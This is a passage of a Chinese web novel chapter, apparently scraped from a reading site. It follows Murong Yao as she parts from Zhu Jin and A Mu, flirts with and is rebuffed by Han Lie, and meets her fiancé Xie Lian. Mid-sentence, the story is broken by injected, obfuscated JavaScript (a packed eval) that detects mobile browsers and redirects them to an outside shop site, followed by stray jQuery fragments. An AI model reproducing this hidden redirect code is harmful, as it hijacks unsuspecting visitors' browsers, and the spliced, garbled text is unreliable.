“阿瑶,你上哪儿去了,急死我了。”
走进房间,慕瑶连忙反手关门,朱瑾焦急得迎上来,阿木也从凳子上起身。
“表小姐。”
慕瑶紧绷半晌的情绪终于得以释放,她长长吐了口气,直直走向床铺边收拾包袱边解释:“真是巧得离谱,随便择了个地儿,就撞上了霍枭,不能让他见着你,不然到时候连我带你打包了送回三不界。一会儿他会派人来接我,你和阿木赶紧走。”
朱瑾慌了,她好不容易从三不界逃了出来,她宁可死也不要再回去,急红了眼眶。
“那我们……我们是不是不能再见面了?”
慕瑶收拾包袱的动作顿住,回身,握了握朱瑾的手。
“早晚会分开的,我的事还没办完,我得回去。”
要不是不放心,她其实不需要送这么远,现在人已经送到了太平地界,她是时候回三不界了。
“为什么呢?就不能不回去吗?”朱瑾还是不想和慕瑶分开,她生性软弱,慕瑶不仅是她的好姐妹,也是她的主心骨,若慕瑶不在身边,她便一点安全感都没有。
“我必须回去,来日方长,说不定以后还有机会再见。”
不待朱瑾再说话,慕瑶把收拾好的包袱塞到阿木手里。
“阿木,还记得我当初给你说的话吗?我承认我是有私心,但我也是真诚的希望你能够远离三不界,我不希望看到你将一辈子都葬送在那片恶土上。”
阿木似乎意识到她要说什么,突然觉得眼睛发酸,他郑重得点头,眼神里含着坚定。
“我知道,我都知道,表小姐。我不会回去,我会帮你照顾好朱瑾小姐。”
朱瑾眼里已蕴起泪花,慕瑶狠心别开目光,从包袱里扯出一条面巾来。朱瑾容色倾城,五官相较江南的姑娘,又更显深邃,遂十分打眼。
慕瑶亲自为朱瑾系上面巾,安慰道:“何必这么伤感呢,只要你好好活着,就一定能再见。朱瑾,有些话说出口对你很残忍,但到了这一步,却是不得不说了。不要总把希望系在他人身上,你自己才是最有力的靠山,你得快点坚强起来,不然,在人吃人的世道,你怎么活得下去?你不能指望自己一辈子都拥有好运气,能够遇到愿意向你伸出援手的人。”
朱瑾抬手在眼睛上擦了一把,轻轻点头:“我知道了,我答应你,我一定能做到。”
慕瑶欣慰得笑了。
“快走吧,你们小心一些,不要撞见霍枭的人,还有,霍枭身边有一个小白脸,他也住在这间客栈,见过你和阿木,今天在霍枭面前提到你们,千万不能再让他看见你们。”
阿木犹豫了半晌。
“表小姐,有件事我还没给你说。”
慕瑶一看他躲闪的眼神,就知道他想说什么。
“韩大管事发现我们来瓜州了,我知道。”
“你怎么”
“好了,别说了,快带朱瑾走。”
把朱瑾、阿木送出房门,慕瑶回到窗前,看他们顺利走出客栈,仿佛是发现了她的注视,朱瑾抬头。
慕瑶冲她轻轻挥了挥手,朱瑾擦了下眼睛,狠心转身,再没有回头。
慕瑶窗前伫立许久,看着朱瑾阿木的身影融入人潮,直到再也寻不到,那一瞬间,丝丝离愁缠住了她的心脏,她难受得有些喘不过气。
她今年才十七岁,却已经和那么多人告过别了。
她不知疲累得站了许久许久,直到日薄西山,门被人敲响了。
从怅惘中回神,深吸了三口气,才走去开门。
开门看到韩烈的一瞬间,她又变回了惯常的样子,怅惘愁思从她脸上消失得无影无踪。
她轻轻笑起来。
“小郎君。”
韩烈兀自进门,和慕瑶打太极又要纠缠半天,干脆开门见山,“没有别人,我一个人来的。”
慕瑶心下嘀咕,这人真像自己肚子里的蛔虫,跟在他身后,“我就随口一说,阿兄果然让你来了。”
“阿木和朱瑾小姐已经走了?”
韩烈一路走来出了一身汗,倒了一杯茶端到窗侧的梨花椅上坐下,饮完茶润了喉,刚将茶杯放在桌上,慕瑶已经跟过来,不客气得坐在他腿上,手松松得环着韩烈的脖子。
腻着嗓音,甜甜笑道:“走了。许久没见,小郎君想不想我?”
韩烈笑了一声,扯下她的胳膊。
“不必施展美人计,霍枭面前,我不会说的。”
不过才一句话,就被他一眼看穿心计,还不加掩饰拆穿,慕瑶心下有些恼怒,却飞快调整了神色。
“小郎君想哪儿去了,你的为人我还能信不过?你要非说我是施展美人计,那也是为了你,你个没良心的不想我,我可是想你想得睡不着觉。”
韩烈挑眼瞧她一眼,表情似笑非笑,扬起下巴朝旁边点了点,“坐过去,不要逼我推你下去,不好看。”
慕瑶盯着韩烈的脸看,忽然发现,她那便宜未婚夫和韩烈一样,都长了一双丹凤眼,三分多情,七分妖娆,但不知为什么,未婚夫的眼睛就是让她感到不舒服,相比较之下,韩烈这双眼,就让她觉得赏心悦目许多。
“来了这人杰地灵的江南,也学人装起清高正经来了?我还是更喜欢小郎君色得坦荡荡的样子。”说着,慕瑶便摸上了韩烈的腹肌,诱他回想三不界那香艳一夜。
韩烈一把捉住她不安分的手,在松开得一瞬间,另一手于她腰上微微使力,便将她推下了地。
“你”,慕瑶狼狈得趴伏在地,脸上蕴起薄怒。
她没想到韩烈真会将她推下去。
韩烈居高临下欣赏她的狼狈,眼里漫起笑意,似乎心情不错。
“提前打过招呼了,的确是不好看。”
慕瑶从地上爬起来,整理下衣衫,又抬手稳固松掉的发簪,随后,拿了团扇,坐到他旁边,大力扇起来,动作里蕴着羞恼。
她咬牙笑道:“你能耐了,小郎君。”
也不知道是气得,还是热的,慕瑶脸上眼皮上都晕染了薄薄一层粉,分外娇俏,韩烈心情越发愉悦。
“来之前见过表小姐的未婚夫了,长得是一表人才,表小姐这下不愁嫁错人了。”
慕瑶的羞恼还未全消,心里堵着一口气。“嫁对嫁错难道只看脸吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784751|206555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?这世上多得是衣冠禽兽。”
韩烈赞同得点点头,瞧那表情,颇有些真心实意。
“毕竟是终身大事,考虑得审慎些总是没错的。时辰不早了,行李收好了么?”
瞧见慕瑶未婚夫的第一眼,他就觉得那人有些邪性,事后思索了下,就算不想承认,但也不得不认清事实,在三不界,他的确对小煞星生了些心思。约莫是因为小煞星未婚夫这层身份,才让他下意识排斥这个男人,才会东看西看都看不爽。他不想把自己弄得像一个拈酸吃醋的刻薄怨夫,所以不打算对慕瑶的未婚夫发表任何看法。
他看着慕瑶从床底下拖出了一包袱金银玉器,眼皮子跳了跳,从三不界到瓜州,山遥路远,竟然没被抢,真是稀奇。
来瓜州时,慕瑶就将一部分玉器换成了银票,此前全给了朱瑾和阿木。有钱行遍天下,虽然危险了些,但也好过没钱寸步难行。
她也懂财不露白的道理,一路上都将这包东西藏得很隐秘。如果还是和阿木朱瑾三人同行,那之前该怎么藏,现在还得怎么藏。但现在不一样了,霍枭带出来的马仔全都凶神恶煞,跟着他们,不怕死的才敢来打她的主意。
她大大方方将装财物的包袱交给韩烈背着。
走出客栈时,天已擦黑,天光也收走了一部分暑气,当地人携家带口出来纳凉,所以街上比白日里更为热闹。
慕瑶摇着扇子跟在韩烈身后走,脑子里飞快跳过各种念头。
想要得到忘忧散的配方,需要先寻到加工忘忧散的秘密基地,玛雅分管断肠红的提炼,她曾经探过,但连玛雅都不知道。
舅舅不重视玛雅,防着她也情有可原。那霍枭呢?他会不会知道?
南下江南是定好的,但来瓜州是随便选的,竟然歪打误撞遇上了霍枭和小郎君,想必瓜州就是交货地。就这么巧得遇上了,是运气好,还是冥冥之中的指引?
她可得利用好这次机会。
整整走完一条街,背后的人都一声未吭,引起了韩烈的警觉,他猝然回了下头。慕瑶想事情入了迷,并未觉察到,兀自往前走,连经过韩烈身侧,走到他前面了都未发觉。
韩烈凝视着她的背影,若有所思。
小煞星心里藏着秘密,不管是敌是友都很麻烦。多了一个她,就相当于身边平白多了一道眼线,这小丫头又精明得很,免不得束手束脚,日后行事只能更为小心了。
慕瑶感到有些累,没有逛的兴致,随韩烈到了霍枭租的别苑,霍枭财大气粗,别院是两进的宅子。是韩烈顾虑安全,出口不宜多,门只有两道,但屋子不少。所有人分完了,都还剩有两间厢房。
西厢,两间房,带了一个小院落。
韩烈推开右边那间门,慕瑶看了眼旁边,问道:“旁边有人住吗?”
“有。”
“谁?”
旁边那间门应声而开,从里面走出一名衣冠楚楚的男子,在柔和灯影的笼罩下,他周身的温润越发浓烈,而浓度太稠,反兑出来丝丝邪气。
同温润沾边,同君子不沾边。
“未婚妻回来了。”
正是谢敛。